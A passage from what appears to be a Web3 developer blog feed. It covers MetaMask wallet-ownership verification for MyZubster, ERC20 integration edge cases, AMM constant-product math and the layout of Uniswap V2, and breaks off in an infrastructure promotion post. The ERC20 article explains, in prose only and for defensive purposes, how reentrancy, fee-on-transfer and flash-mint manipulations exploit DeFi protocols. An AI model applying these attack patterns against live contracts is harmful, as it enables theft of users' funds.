and eventually:

COMPLETED

After the happy path works, we still need negative tests for wrong wallets, wrong networks, wrong recipients, incorrect amounts, failed transactions, insufficient confirmations, and reused transaction hashes.

Why I’m building it this way

I don’t want “Connect Wallet” to become a magic button that implicitly means identity, authorization, payment, and settlement.

Each operation should have its own proof.

OAuth
→ proves the MyZubster account

Wallet signature
→ proves control of the address

Order signature
→ proves approval of the request

Blockchain transaction
→ proves value movement

Server verifier
→ proves that the transaction matches the order

That makes the system more complex than a simple wallet-connect demo, but it also makes the trust model much clearer.

The first major milestone is now working:

a real authenticated MyZubster user can connect MetaMask, sign an off-chain challenge, and have their EVM wallet independently verified and linked by the backend.

Next stop: the first complete Buyer → Seller transaction on Ethereum Sepolia.

Building MetaMask Wallet Ownership Verification in MyZubster

Fri, 25 Sep 2026 04:23:07 +0000

Building MetaMask Wallet Ownership Verification in MyZubster

I’ve started implementing MetaMask / EVM wallet ownership verification inside MyZubster.

At first, this might sound like a simple “Connect Wallet” feature.

But I wanted to avoid one of the most common mistakes in Web3 UX:

treating “wallet connected” as if it automatically meant “identity verified”, “payment authorized”, or “transaction completed”.

For MyZubster, those states need to stay separate.

The architecture I’m building follows this rule:

CONNECTED
!=
VERIFIED
!=
SIGNED
!=
PAID
!=
SETTLED

That distinction is now becoming part of the product.

What we already had

MyZubster already had several EVM-related pieces in the codebase:

ethers
Ethereum Sepolia verification
Base Sepolia anchoring
Marketplace ETH support
NFT experiments
blockchain evidence flows

What was missing was the user-side ownership layer.

In other words:

How can a logged-in MyZubster user prove that they actually control a specific Ethereum wallet?

Without giving MyZubster the private key.

Without sharing a seed phrase.

Without sending ETH.

Without paying gas.

That became the first milestone.

The new flow

The flow now looks like this:

Authenticated MyZubster user

↓

Connect MetaMask

↓

eth_requestAccounts

↓

Read wallet address

↓

Read chain ID

↓

Request challenge from MyZubster

↓

Server creates short-lived nonce

↓

User signs message in MetaMask

↓

personal_sign

↓

Signature sent to backend

↓

Backend recovers signer

↓

Address matches?

↓

WALLET_VERIFIED

The important part is that verification happens server-side.

The frontend cannot simply tell MyZubster:

{
"walletVerified": true
}

and be trusted.

New API

I added four authenticated endpoints:

GET /api/wallet/me
POST /api/wallet/challenge
POST /api/wallet/verify
DELETE /api/wallet/disconnect

Their responsibility is intentionally narrow.

/challenge creates the ownership proof request.

/verify validates the signature.

/me returns the current wallet relationship.

/disconnect removes the verified association from the MyZubster account.

The challenge

The challenge includes context such as:

MyZubster account
wallet address
chain ID
domain
application URI
random nonce
issued time
expiration time
intended action

The intended action is currently:

LINK_WALLET

A simplified message looks like:

www.myzubster.com wants you to link your Ethereum account to MyZubster:

0x...

Sign this message to prove wallet control.
This is not a payment and does not spend ETH.

URI: https://www.myzubster.com
Version: 1
Chain ID: 1
Nonce: ...
Issued At: ...
Expiration Time: ...
Request ID: LINK_WALLET:user-id

That “not a payment” line is deliberate.

I don’t want a wallet signature to ever be confused with a transaction.

Why use a nonce?

Because the signature must not be reusable forever.

Each challenge is:

random
short-lived
account-bound
wallet-bound
action-bound

The backend checks:

challenge exists
↓
challenge is not expired
↓
wallet matches
↓
message matches
↓
signature is valid
↓
recovered signer matches wallet

Only then does the wallet become verified.

Signature verification

The backend uses ethers to recover the signer:

const recovered = verifyMessage(message, signature);

Then the recovered address is normalized and compared with the expected wallet.

If another wallet signs the challenge, verification fails.

What gets stored

MyZubster never stores:

private key
seed phrase
mnemonic
MetaMask password
wallet secret

Only wallet relationship metadata is persisted.

Conceptually:

evmWallet: {
walletType: 'EVM',
provider: 'metamask',
address: '0x...',
chainId: 1,
status: 'WALLET_VERIFIED',
verifiedAt: Date,
lastVerifiedAt: Date
}

Temporary challenge information is also stored server-side until verification or expiration.

Wallet state

I’m avoiding a single boolean like:

walletConnected = true

Instead, MyZubster has explicit states:

WALLET_NOT_CONNECTED
WALLET_CHALLENGE_PENDING
WALLET_VERIFIED
WALLET_DISCONNECTED

That becomes useful both for the UI and for Zorgax.

For example:

MetaMask connected

is not the same as:

wallet ownership verified

and neither means:

payment completed
Frontend

I extended the existing WalletHubPanel rather than creating a completely separate wallet system.

The user now gets a:

Connect MetaMask

action.

The frontend uses:

eth_requestAccounts

then:

eth_chainId

and finally:

personal_sign

The signature is then sent back to the backend for verification.

The UI explicitly explains that the signature:

does not transfer ETH
does not cost gas
does not authorize a payment
Preventing duplicate wallet ownership claims

Another issue is what happens if two MyZubster accounts try to link the same verified wallet.

The current behavior is:

Account A
→ verifies 0xABC

Account B
→ tries to verify 0xABC

Result:
WALLET_ALREADY_LINKED

This does not mean that MyZubster treats a wallet as a legal identity.

It simply prevents contradictory wallet-to-account relationships inside the application.

What changes in MyZubster

This creates a new trust layer.

MyZubster can already work with:

account identity
GitHub identity
community profile
Marketplace identity
Zorgax context

Now it can also say:

this account proved control
of this EVM wallet
at this time

That is a reusable building block.

The next milestone: signed Marketplace requests

This is where the wallet integration becomes much more useful.

The next step is to let a verified wallet sign a canonical Marketplace request.

Something like:

{
"schema": "myzubster.marketplace-request.v1",
"intent": "MARKETPLACE_REQUEST",
"listingId": "listing-123",
"quantity": 1,
"buyerAccountReference": "user-42",
"walletAddress": "0x...",
"nonce": "...",
"issuedAt": "...",
"expiresAt": "..."
}

The buyer signs it off-chain.

The server verifies it.

Then MyZubster can create:

MarketplaceOrder: REQUESTED

with cryptographic evidence attached.

No gas.

No blockchain transaction.

No payment.

Just signed intent.

Why not put every action on-chain?

Because not every interaction needs blockchain finality.

If every Marketplace request required a transaction, the UX would become unnecessarily heavy.

Instead, the architecture I’m aiming for is:

Marketplace request
↓
off-chain signature
↓
seller acceptance
↓
exchange lifecycle
↓
structured evidence
↓
optional blockchain anchor

Blockchain should be used where permanence adds value.

Not everywhere by default.

User wallet vs infrastructure wallet

This is also an important boundary.

MyZubster already has server-side blockchain infrastructure for evidence anchoring.

That wallet must stay completely separate from user wallets.

User MetaMask
!=
MyZubster infrastructure wallet

User-controlled wallet actions remain user-controlled.

Server-side evidence operations remain isolated.

How Zorgax can use this

Once the wallet state is explicit, Zorgax can explain it correctly.

For example:

User:
Is my wallet verified?

Zorgax:
Yes. Your MetaMask wallet ownership has been verified.

But if the user asks:

Did I pay?

Zorgax should answer:

No confirmed payment evidence exists.
Your wallet only signed the request.

That distinction is essential.

Security tests

I’ve added tests covering:

valid signer
wrong signer
expired challenge
non-payment message semantics
authenticated API wiring
MetaMask provider integration

The goal is not just to make the feature work.

The goal is to make it hard to misunderstand.

Current status

The first implementation is now open as:

PR #1385 — MetaMask wallet ownership linking

The PR adds:

wallet model
challenge service
signature verification
authenticated API
MetaMask UI
disconnect flow
security tests

This is not yet an ETH payment system.

It is the identity and ownership layer that payments or signed Marketplace actions can build on later.

Why this matters for MyZubster

The bigger change is architectural.

MyZubster is gradually moving toward a model where different kinds of evidence are handled by different layers:

MyZubster account

↓

wallet control

↓

signed intent

↓

Marketplace state

↓

payment evidence

↓

optional blockchain evidence

instead of:

connect wallet
↓
everything becomes blockchain

For me, that is the more useful direction.

MetaMask should not just be a button.

It should become a cryptographic tool that adds proof exactly where proof is useful.

Project: MyZubster
Stack: Node.js, Express, MongoDB, React, ethers, MetaMask
Current milestone: EVM wallet ownership verification
Next milestone: signed Marketplace requests without gas

Repository:

https://github.com/MyZubster-Ecosystem/myzubster

Implementation PR:

https://github.com/MyZubster-Ecosystem/myzubster/pull/1385

ERC20 Edge Cases Every Smart Contract Engineer Should Know

Wed, 24 Jun 2026 06:50:00 +0000

Your protocol launches. Everything passes the test suite with 100% coverage. Your audits are clean.

Then, an unexpected token enters your liquidity pool. The accounting drifts by a fraction of a percent. Within hours, the discrepancy compounds. Users attempt to withdraw, and the transactions revert. The vault is permanently bricked, and funds are stuck.

What went wrong?

Most ERC20 exploits are not actually bugs in the protocol's core logic. They happen because protocol engineers assume every token behaves exactly like a vanilla OpenZeppelin implementation.

The ERC20 standard is an interface, not a guarantee. It defines function signatures (transfer, approve, balanceOf), but it dictates absolutely nothing about the internal execution logic behind those signatures.

If your protocol integrates arbitrary tokens, your threat model immediately includes the behavior of those tokens. A single flawed assumption about how a token transfers, reverts, or accounts for balances can lead to systemic insolvency.

Let's look under the hood of the most common ERC20 edge cases that break production systems, and how to engineer defensive architectures to mitigate them.

The Four Assumptions That Break Integrations

Before we look at specific edge cases, it helps to build a mental model of why these failures happen. Almost every ERC20 integration bug stems from one of four flawed assumptions:

Amount Assumptions: Believing the amount you request to transfer is the exact amount that will arrive.
Execution Assumptions: Assuming token transfers are passive state updates, rather than active execution environments.
Permission Assumptions: Believing that having a sufficient balance and allowance guarantees a transfer will succeed.
Accounting Assumptions: Hardcoding precision logic or assuming token behavior is immutable.

Let's break down how these assumptions fail in production.

Edge Case #1: Fee-on-Transfer & Rebasing Tokens

The assumption
If I call token.transferFrom(alice, vault, 100), the vault's balance increases by exactly 100.

What actually happens
Tokens can deduct a tax on transfer (e.g., a 5% protocol fee) or continuously alter user balances algorithmically (rebasing).

Example failure
A user deposits 100 fee-on-transfer tokens. The token takes a 5% fee.

User calls deposit(100)
👇
Token executes transfer, deducts 5% tax
👇
Vault receives 95 tokens

❌ Vault internally mints 100 shares based on 'amount' parameter
✅ Vault should mint 95 shares based on actual received funds

Because the vault blindly minted 100 shares, the user can immediately withdraw 100 tokens, successfully stealing 5 tokens from previous depositors. The accounting drifts, and the last users to withdraw will be left with nothing.

Mitigation
Never trust the amount parameter for internal accounting. Always measure the actual balance delta before and after the transfer.

uint256 balanceBefore = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), amount);
uint256 balanceReceived = token.balanceOf(address(this)) - balanceBefore;

// Use balanceReceived for all subsequent logic, never 'amount'
_mintShares(msg.sender, balanceReceived);

Takeaway: Balance-delta accounting fixes this assumption. Unfortunately, the next edge case breaks protocols even when the balances match perfectly.

Edge Case #2: Tokens with Callbacks (ERC-777 & Transfer Hooks)

The assumption
Calling transfer only updates storage balances and returns execution flow directly back to my contract.

What actually happens
Standards like ERC-777, or custom tokens with transfer hooks, actively hand execution control back to the sender or receiver via external calls during the transfer process.

Example failure
Your protocol updates the user's internal debt balance after pushing tokens to them.

User calls withdraw()
👇
Protocol calls token.transfer(user)
👇
Token calls back to User's smart contract
👇
User's contract calls withdraw() AGAIN (before protocol debt is updated)

This is a classic reentrancy attack, facilitated entirely by the token's internal hook.

Why This Surprises Engineers: We naturally view tokens as passive data ledgers. Callbacks turn tokens into active, hostile execution environments.

Mitigation
Follow the Checks-Effects-Interactions (CEI) pattern religiously. Update all internal state before interacting with external tokens. Additionally, apply OpenZeppelin's ReentrancyGuard (nonReentrant modifier) to any function interacting with external tokens.

Takeaway: Reentrancy guards handle unexpected execution paths. But what happens when a token quietly fails without telling you?

Edge Case #3: Returning false vs. Reverting

The assumption
If a token transfer fails, the transaction will revert.

What actually happens
Some older tokens (like ZRX) do not revert on failure. Instead, they gracefully return a false boolean.

Example failure
Your protocol calls token.transfer(user, amount) and doesn't check the return value. The transfer fails (returns false), but your code continues executing. The protocol marks the user's debt as paid, even though no tokens actually moved.

Mitigation
Never use bare transfer or transferFrom calls. Wrap them in logic that asserts the boolean return value is true.

OpenZeppelin / best practice
Always use OpenZeppelin's SafeERC20 library (safeTransfer, safeTransferFrom). It normalizes behavior by forcing a silent false failure to revert.

Takeaway: SafeERC20 forces silent failures to revert. But occasionally, you actually want certain transfers to bypass reverts.

Edge Case #4: Zero Address & Zero Amount Reverts

The assumption
Transferring an amount of 0 is a harmless No-Op (no operation) that costs a little gas but executes successfully.

What actually happens
Different token implementations handle zeros differently. Some explicitly revert if the transferred amount is 0, or if the target is the zero address.

Imagine this scenario:
Your protocol distributes daily yields in a batch loop to 100 users. One user earned 0 yield today. The loop attempts to transfer(user, 0). The token reverts, crashing the entire transaction and preventing the other 99 users from receiving their yields.

Mitigation
Standardize behavior by wrapping transfers in a simple defensive check to bypass zero-amount logic.

if (amount > 0) {
    token.safeTransfer(user, amount);
}

Takeaway: Standardizing behavior protects your loops. But what if the token completely breaks the standard interface?

Edge Case #5: Missing Return Values (The USDT Problem)

The assumption
All ERC20 tokens return a boolean, as dictated by the standard interface.

Production Reality: Tether (USDT) on Ethereum Mainnet is non-standard. Its transfer, transferFrom, and approve functions do not return a boolean; they return void.

Example failure
If your contract compiles against the standard IERC20 interface, the EVM expects boolean return data to decode.

Standard: function transfer(...) returns (bool)
USDT:     function transfer(...) [returns void]
EVM:      "Wait, where is the boolean to decode? Revert."

Your protocol completely fails to integrate with the largest stablecoin on the market.

Mitigation
OpenZeppelin's SafeERC20 handles this under the hood. By using safeTransfer, you safely abstract away the missing return value issue at the assembly level.

Takeaway: SafeERC20 handles legacy interfaces. But interface compatibility won't save you from centralized control.

Edge Case #6: Blacklisted Addresses

The assumption
If an address has a sufficient balance and allowance, a transfer will always succeed.

What actually happens
Fiat-backed stablecoins like USDC and USDT maintain centralized blacklists. If an address is blacklisted, all transfers involving that address will revert.

Example failure
Your protocol liquidates undercollateralized debt. To close a position, it must send leftover USDC collateral to the user. The user gets blacklisted by Circle. The liquidation transaction reverts when attempting to send the leftover funds, preventing the protocol from clearing bad debt. The systemic risk cascades, threatening protocol solvency.

Design Rule: Pull-over-Push
Decouple protocol logic from token transfers. Instead of pushing funds to a user during a critical state change, record their balance internally and force them to pull (claim) it in a separate transaction.

Takeaway: Decoupling logic prevents centralized blacklists from freezing your protocol. Speaking of centralized quirks, let's look at approvals.

Edge Case #7: Non-Zero Approval Restrictions

The assumption
You can update an allowance from any number to any other number using approve(spender, newAmount).

What actually happens
To prevent approval front-running (where an attacker exploits an old allowance while a new one is pending), tokens like USDT require that allowances be reset to 0 before being updated to a new non-zero value.

Example failure
A router contract tries to update its USDT approval to a DEX from 50 to 100. It calls approve(dex, 100). Because the current allowance is 50 (non-zero), USDT reverts the transaction.

Mitigation
You must approve 0 before approving the target amount. In OpenZeppelin v5+, safeApprove was removed. Use forceApprove(), which natively handles the 0 reset under the hood.

Takeaway: Approval races are tricky, but at least the token is always the token... right?

Edge Case #8: Multiple Addresses for the Same Token

Mental Model: Think of an ERC20 token as a ledger. Usually, there is one door to access that ledger. But sometimes, developers build multiple doors (proxies, wrappers, aliases) that lead to the exact same ledger.

What actually happens
Some tokens (like older TrueUSD implementations) use multiple entry point addresses that point to the same underlying state.

Example failure
A lending protocol relies on the token's contract address as a unique identifier for price feeds. An attacker uses a wrapper contract that proxies to the same underlying token. The protocol reads the proxy as an unverified token, misprices the collateral, and allows the attacker to borrow against manipulated values.

Mitigation
Identify tokens strictly by exact, whitelisted addresses. Never rely blindly on msg.sender to dynamically determine asset identity.

Takeaway: Identity is fluid. And worse, token logic is mutable.

Edge Case #9: Upgradeable Tokens

The assumption
The token behavior I test today will be the token behavior in production tomorrow.

What actually happens
Tokens like USDC are upgradeable behind a proxy. The controlling entity can push an upgrade at any time, adding transfer fees, callbacks, or entirely new operational restrictions.

Example failure
You build a protocol assuming USDC has no fee-on-transfer. Circle upgrades USDC to enforce a 1 basis point transaction fee. Your static accounting breaks, and protocol funds become permanently locked because the math no longer balances.

Mitigation
Code defensively. Use balance-delta accounting (Edge Case #1) even if the token currently doesn't require it. Build pause functionality into your own protocol so you can halt operations if an upgrade breaks your integration.

Takeaway: You can't control token upgrades, but you can control how you calculate value. Which brings us to spot balances.

Edge Case #10: Flash-Mintable Tokens

The assumption
Massive token balances represent real, scarce capital.

What actually happens
Some tokens, like DAI, natively support flash-minting. A user can instantly mint millions of tokens in a single transaction, provided they are burned (with a fee) by the end of execution.

Example failure
Your protocol calculates governance voting power based on spot balances within a liquidity pool. An attacker flash-mints 100 million DAI, executes a massive governance manipulation, and repays the DAI in the same block.

Mitigation
Never rely on spot balances for price discovery or voting power. Use Time-Weighted Average Price (TWAP) oracles and historical checkpoints.

Takeaway: Spot balances lie. And sometimes, tokens lie about how much they transferred, too.

Edge Case #11: Transferring Less Than Requested

The assumption
If I request to transfer type(uint256).max, the token will either transfer that exact enormous amount or revert.

What actually happens
Some obscure tokens treat an amount parameter of type(uint256).max as a custom flag meaning "transfer all of the user's available balance."

Example failure
A protocol requests a uint256.max sweep. The token successfully transfers the user's actual balance of 50 tokens. The protocol incorrectly records that type(uint256).max tokens were received, creating massive artificial inflation.

Mitigation
Once again, balance-delta accounting saves the day. Never assume the requested amount is the executed amount.

Edge Case #12: High-Decimal Tokens

The assumption
Tokens either have 18 decimals (like ETH) or 6 decimals (like USDC).

What actually happens
Tokens like YAMv2 use 24 decimals.

Example failure
Your protocol multiplies a token balance by a high-precision constant before dividing it. Because the token already has 24 decimals, the multiplication exceeds type(uint256).max and triggers an unexpected math overflow, bricking the transaction.

Mitigation
Always dynamically read the decimals() function and normalize balances to a standard precision internally before performing complex math.

Bonus Edge Cases

Edge Case #13. Pausable Tokens:
Tokens can be globally paused by their admins. Ensure your system degrades gracefully and uses Pull-over-Push accounting so a globally paused token doesn't brick your entire transaction loop.

Edge Case #14. Large Approval/Transfer Reverts:
Tokens like UNI and COMP use uint96 for their internal accounting limits. Attempting to approve or transfer uint256.max will unexpectedly revert. Always approve exact required amounts.

Defensive ERC20 Integration Checklist

Before deploying any contract that touches external ERC20 tokens, verify your architecture against these rules:

Are you using SafeERC20? Never use bare .transfer() or .transferFrom().
Are you measuring balance deltas? Never assume amount sent == amount received.
Are you safe from reentrancy? Assume every token transfer is an external callback.
Are you using Pull-over-Push? Ensure a failing transfer only affects the specific user, not the broader system loop.
Have you normalized decimals? Do not assume 6 or 18 decimals.
Do you rely on spot balances? Ensure oracles and voting mechanisms cannot be manipulated via flash-mints.

Closing Thoughts

Smart contract engineering is deeply unforgiving because you are not just building software; you are building immutable financial infrastructure.

When you integrate an external token, you do not just integrate an asset. You inherit its execution models, its upgrade paths, its governance assumptions, and its operational constraints. If the token's logic changes, or if it behaves in a way you didn't model for, your protocol pays the price.

Treat every external token as fundamentally hostile. Rely on pure math, stateful invariants, and defensive accounting.

Reliable systems emerge from reducing assumptions. Let's build something we can trust.

What edge cases have caused problems in your own deployments? Let's chat about it in the comments below. Follow for more deep dives into smart contract architecture and onchain security.

How AMMs Work: The Simple Math Behind Decentralized Trading

Mon, 22 Jun 2026 11:47:13 +0000

One of the hardest problems in decentralized systems is this: how do two strangers trade without trusting each other or paying a middleman to coordinate?

In traditional finance, this is solved by centralized exchanges. On the blockchain, we solve it with an Automated Market Maker (AMM).

If you spend any time looking at decentralized finance (DeFi), you have probably seen the acronym floating around. Today, we are going to look under the hood to see exactly what an AMM is, why the Ethereum ecosystem desperately needed it, and how it translates market rules into unstoppable code.

The Constraint: Why Order Books Fail Onchain

Before we can appreciate the solution, we have to understand the architectural constraint.

In traditional finance (like the stock market or centralized crypto exchanges like Binance or Coinbase), trading runs on an Order Book.

An order book is a giant digital matchmaking list. If I want to buy 1 ETH for $2,000, I write my name on the list. The exchange then searches for someone willing to sell 1 ETH for exactly $2,000. When it finds a match, the trade executes.

This works flawlessly on centralized servers. But on a blockchain, order books have a fatal flaw: Cost.

Every single time you place, cancel, or match an order, it requires a state change on the network. State changes cost "gas" (transaction fees). If you had to pay a $20 gas fee just to list your trade on a decentralized order book whether someone buys it or not, the system would instantly become too slow and prohibitively expensive to use.

We needed a way to trade assets without a matchmaking middleman. We needed to replace human coordination with reliable computation.

The Analogy: The Potato & Apple Farmers

To understand how an AMM solves this coordination problem, let's use a simple system model.

Imagine you are a potato farmer. You have hundreds of potatoes. Eventually, you get sick of them and just want a crisp, sweet, red apple.

There are no grocery stores. To get an apple, you have to find an apple farmer who is tired of apples and wants potatoes, and trade with them directly. This is the exact equivalent of an Order Book-finding a direct match. It is exhausting.

Now, imagine an automated bin appears in the middle of your village.

A wealthy merchant came by and filled this bin with 100 apples and 100 potatoes. The bin has no human cashier. Instead, it is run by a simple mathematical formula. The formula's only rule is to balance the supply.

When you walk up to the bin and take out 20 apples, apples suddenly become scarcer. Because there are fewer apples left in the bin, the formula automatically raises the price of apples. To take those 20 apples, the bin demands you put in 25 potatoes.

Next time someone wants an apple, it will cost even more potatoes, because apples are getting rarer. But if an apple farmer comes along and dumps 50 apples into the bin to take out some potatoes, the price of apples drops back down.

That bin isn't intelligent. It doesn't predict markets. It simply enforces rules.

This automated, math-driven bin is the exact conceptual framework of an Automated Market Maker.

The Mechanism: The Constant Product Formula

In decentralized systems, that automated bin is called a Liquidity Pool. It is simply a smart contract holding a pool of two different tokens (like ETH and USDC).

Instead of waiting for an order book to match your trade, you trade directly against the smart contract.

But how does the contract know what price to charge you? It uses an algorithmic invariant. The most common one is the Constant Product Formula, which looks like this:

x * y = k

This math is beautifully simple and completely deterministic:

x is the amount of Token A (e.g., Apples).
y is the amount of Token B (e.g., Potatoes).
k is a constant number that must always stay exactly the same after a trade.

Let's use our 100 apples and 100 potatoes example.
100 (apples) * 100 (potatoes) = 10,000 (our constant 'k')

If you take 20 apples out of the pool, there are only 80 apples left. But the smart contract strictly enforces that the total multiplied together must still equal 10,000.

So, the contract calculates the new required state: 10,000 / 80 apples = 125 potatoes.

For the pool to satisfy the invariant, it must now contain 125 potatoes. Since it originally had 100, you have to deposit 25 potatoes (the difference between 125 and 100) to execute your trade.

That is it. Supply and demand, governed purely by unbreakable math. As one asset is bought out of the pool, it mathematically becomes more expensive. As an asset is sold into the pool, it becomes cheaper.

The Infrastructure: Liquidity Providers

This raises an engineering question: Where do the millions of dollars worth of tokens sitting in these smart contracts come from?

They come from Liquidity Providers (LPs).

LPs are everyday users, investors, or protocols who lock their own tokens inside the smart contract to fund the pool. In exchange for supplying this infrastructure, they receive an LP Token: a digital receipt proving they own a percentage of that specific pool.

Why would anyone risk their capital to let strangers trade against it?

Fees.

Every time a user makes a swap on an AMM, the protocol charges a tiny fee (usually around 0.3%). That fee does not go to a CEO or a centralized exchange. It goes directly back into the liquidity pool.

Because the LP tokens represent a percentage claim over the pool, as those trading fees pile up, the underlying value of the LP tokens increases. The Liquidity Providers earn a yield simply for providing the capital that makes decentralized trading possible.

Key Takeaways

Let's quickly recap the system architecture we just explored:

Order Books are inefficient onchain. Requiring a state change for every order creation and cancellation costs too much gas.
AMMs replace middlemen with math. You trade directly against a smart contract (a Liquidity Pool) rather than waiting for a human counterpart.
Prices are driven by deterministic algorithms. Using formulas like x * y = k, the AMM automatically raises the price of an asset as it becomes scarcer in the pool.
Liquidity Providers are the backbone. They supply the underlying tokens that make the system liquid, earning trading fees as a reward for their capital.

Final Thoughts

AMMs changed trading by replacing coordination with computation, turning market rules into software anyone can verify.

They took a complex, middleman-heavy financial process and reduced it to a few lines of self-executing, reliable code. They are a perfect example of how thoughtful engineering can create systems that are not only highly functional, but entirely trustless.

What are your thoughts on how AMMs are designed? Have you ever provided liquidity to a protocol yourself? Let's chat about it in the comments below.

Let's build something you can trust. Follow for more deep dives into smart contract architecture and onchain fundamentals.

Before the Swaps: A Map of Uniswap V2

Mon, 27 Apr 2026 06:58:33 +0000

Recently I did a blog post where we did a quick breakdown of what AMMs are, Uniswap specifically, and built a basic intuition of how things work under the hood. It was initially just supposed to be a quick intro, but it eventually turned out more technical. We covered the Constant Product formula, how it came to be, and how it's been the cornerstone of almost the entire DeFi space (the actual decentralized space, not the protocols that keep showing up with a multisig and claiming to be DeFi, until somehow they get compromised and begin crying that the protocol itself is decentralized and we aren't at fault — it was the keys. Just shut up, if something can put that big of a dent in your core logic then stop calling yourself a DeFi protocol. Yeah, it's DeFi until it isn't. It's unbelievable how there have been so many such exploits in the past few years, but that doesn't mean it prevents new protocols, following similar architecture, from not coming up, not getting funded and somehow not growing to a quintillion dollars in TVL. Sorry I got sidetracked, but it is what it is).

So this is the second post in the series. But before we get into the actual flows — how swaps work, how liquidity gets added, all of that — it's worth taking five minutes to understand how Uniswap V2 is laid out. Not the contracts in detail, we'll get to those one by one in the posts that follow. Just the structure. Think of this as the blueprint of a building you've never been in. You don't need to know where every room is, just where the front door is and which staircase goes where.

If some of the terms or concepts here feel unfamiliar, don't worry about it. By the time we're done with this series, everything here will have clicked into place naturally. This post is just context — a map you can come back to if you ever want to orient yourself while following along.

Two repos, one protocol

The first thing that trips people up when they open the Uniswap V2 GitHub is that there are two repositories: v2-core and v2-periphery. It's tempting to assume this is just an organisational choice (at least thats what I initially thought it was) i.e. someone decided to split the code into two folders and gave them dramatic names. It's actually a deliberate architectural decision, and understanding why it's split that way makes the whole thing easier to reason about.

Core holds the contracts that actually hold your money. That's why its the core. Nothing fancy, nothing extraneous. Because these contracts custody real funds, they are intentionally minimal and completely immutable after deployment. There's no admin key, no upgrade mechanism, no way to patch them after the fact. If a bug were found in Core, the only option would be to deploy a new version entirely. Sounds scary at first, until you flip it around: it also means nobody can change these contracts to do something unexpected with your funds. Ever.

Periphery, well, as the name suggests, lies on the periphery of the core logic. It holds everything that makes Core usable. The routing logic, the slippage checks, the optimal amount calculations, the multi-hop path resolution, all of that lives here. And we will get to it. And crucially, Periphery can be replaced. If a better router gets deployed tomorrow, users can switch to it without the underlying pools changing at all. The pools don't care who calls them.

The split is a trust boundary. Core is what you have to trust. Periphery is just convenience.

What's actually in each repo

Core has three contracts that matter: UniswapV2Factory, UniswapV2Pair, and UniswapV2ERC20.

The Factory is the registry. It deploys new pool contracts and keeps a record of every pool that exists - a mapping of token pair to pool address. When you want to find or create a pool for two tokens, the factory is where you go. One interesting detail: it uses a deterministic deployment method (CREATE2) which means any pool's address can be computed off-chain just from the factory address and the two token addresses, without ever querying the chain. Internally, CREATE2 is just a hash of multiple parameters, one of them being the salt. That means the same parameters generate the same result (the contract address, in this case) every time. If you want to deploy again, just change the salt and you'll get a new address. I'll try to write a separate post on deterministic deployment: the types, the when and why, and when to avoid it altogether.

The Pair is the pool itself. Each deployed pair contract holds exactly two tokens and handles everything: minting LP tokens when liquidity is added, burning them when it's removed, executing swaps, flash loans, all of it. It also stores the price accumulators that make Uniswap's built-in TWAP oracle possible. One thing worth noting: UniswapV2Pair is itself an ERC-20. The LP tokens are the pair contract's own token. Holding LP tokens for a pool means literally holding shares of that contract.

UniswapV2ERC20 is just the base ERC-20 that Pair inherits from, standard token functionality plus EIP-2612 permit support, which lets you approve and act in a single transaction rather than two.

Core also has a couple of utility libraries — Math.sol for the integer square root used in initial LP token calculations, and UQ112x112.sol for the fixed-point arithmetic used in price accumulation. Nothing you need to think about much right now.

Periphery is anchored by UniswapV2Router02 — the contract users actually interact with. Every function you call when using a DEX frontend, or any other integrator, sits here. It handles all four operations, wraps and unwraps ETH for ETH-involving swaps, enforces deadlines, and calculates the optimal amounts before anything touches Core. There's also a Router01 in the repo, but it's effectively deprecated. Router02 replaced it with better support for a broader range of token types.

Supporting the Router is UniswapV2Library, a stateless utility library that handles all the computational work: looking up pair addresses, fetching reserves, calculating swap outputs, walking multi-hop paths. None of this needs to touch state, so it's compiled inline rather than deployed as a standalone contract. And there's UniswapV2OracleLibrary, which provides helpers for building TWAP oracles on top of the pair's price accumulators — if you've ever wondered how protocols get manipulation-resistant on-chain price feeds, this is part of that story.

The helpers that don't live in either repo

Two external utility packages get pulled into V2 that are worth knowing about, mostly because you'll see them imported in the contracts as you follow along.

The first is TransferHelper from @uniswap/solidity-lib. The problem it solves is a real one: ERC-20's transfer() is supposed to return a boolean indicating success, but a surprising number of tokens, USDT being the most notorious, don't return anything at all. A naive require(token.transfer(...)) would just revert on these tokens even when the transfer worked fine. TransferHelper wraps transfers in a low-level call that handles both cases gracefully. It's a small thing, but without it the Router would silently fail on a large class of tokens that people actually use.

The second is FixedPoint from @uniswap/lib, which provides fixed-point number types for the oracle library. Solidity has no native floating-point, so cumulative price values need a way to accumulate fractional ratios over time without losing precision. That's what this handles.

The call flow in one line

For every operation, the path is:

User → Router → Pair → User

The Factory sits to the side, consulted by the Router to find or deploy pair addresses when needed, but not in the critical path of every transaction. The libraries are silent infrastructure, compiled into the Router and never called directly.

That's the map. Keep it somewhere in the back of your head as we get into the flows. Whenever you see the Router calling something on the Pair, or the Pair checking something via the Library, you'll know exactly where you are.

Here are all the contracts and repos referenced in this post, if you want to poke around yourself, although you definitely don't need to do that just yet.

Router: https://github.com/Uniswap/v2-periphery/blob/master/contracts/UniswapV2Router02.sol
Pair: https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol
Factory: https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Factory.sol
TransferHelper: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol
FixedPoint: https://github.com/Uniswap/uniswap-lib/blob/master/contracts/libraries/FixedPoint.sol

Next up: adding liquidity to a pool. This is where the constant product formula stops being theory and starts getting its hands dirty.
In case you missed the intro: x * y = k, and Other Things I Should've Learned Sooner

Infrastructure Is the Real Product: How Ktzchen Web3 Avoids Bottlenecks by Design

Tue, 21 Apr 2026 13:24:15 +0000

In Web3, everyone talks about features.

Few talk about infrastructure.

But infrastructure is the product.

At Ktzchen Web3, every tool — from contract analysis to on-chain audits — runs on a deliberately designed architecture built to eliminate bottlenecks, reduce latency, and maintain real-time blockchain synchronization.

Not shared.
Not oversold.
Not superficial.

Intentional.

The Problem With “Cloud-First” Web3

Many Web3 platforms rely on:

Over-subscribed virtual machines

Shared compute environments

I/O contention

Third-party RPC dependencies

Hidden latency layers

It works — until it doesn’t.

When infrastructure is shared, performance becomes probabilistic.
When I/O is congested, blockchain sync lags.
When you depend on third-party RPCs, you inherit their downtime.

In blockchain infrastructure, consistency matters more than spikes.

The Architectural Philosophy

Ktzchen Web3 operates on an infrastructure model designed around:

No over-subscription

Dedicated resources

No shared virtualization layers

No I/O bottlenecks

High-speed memory and storage alignment

Real-time node synchronization

Consistently low latency

No dependency on third parties for critical blockchain data

This isn’t about marketing numbers.

It’s about eliminating systemic friction.

Why Bottlenecks Kill Web3 Tools

Blockchain workloads are unique:

Continuous disk writes
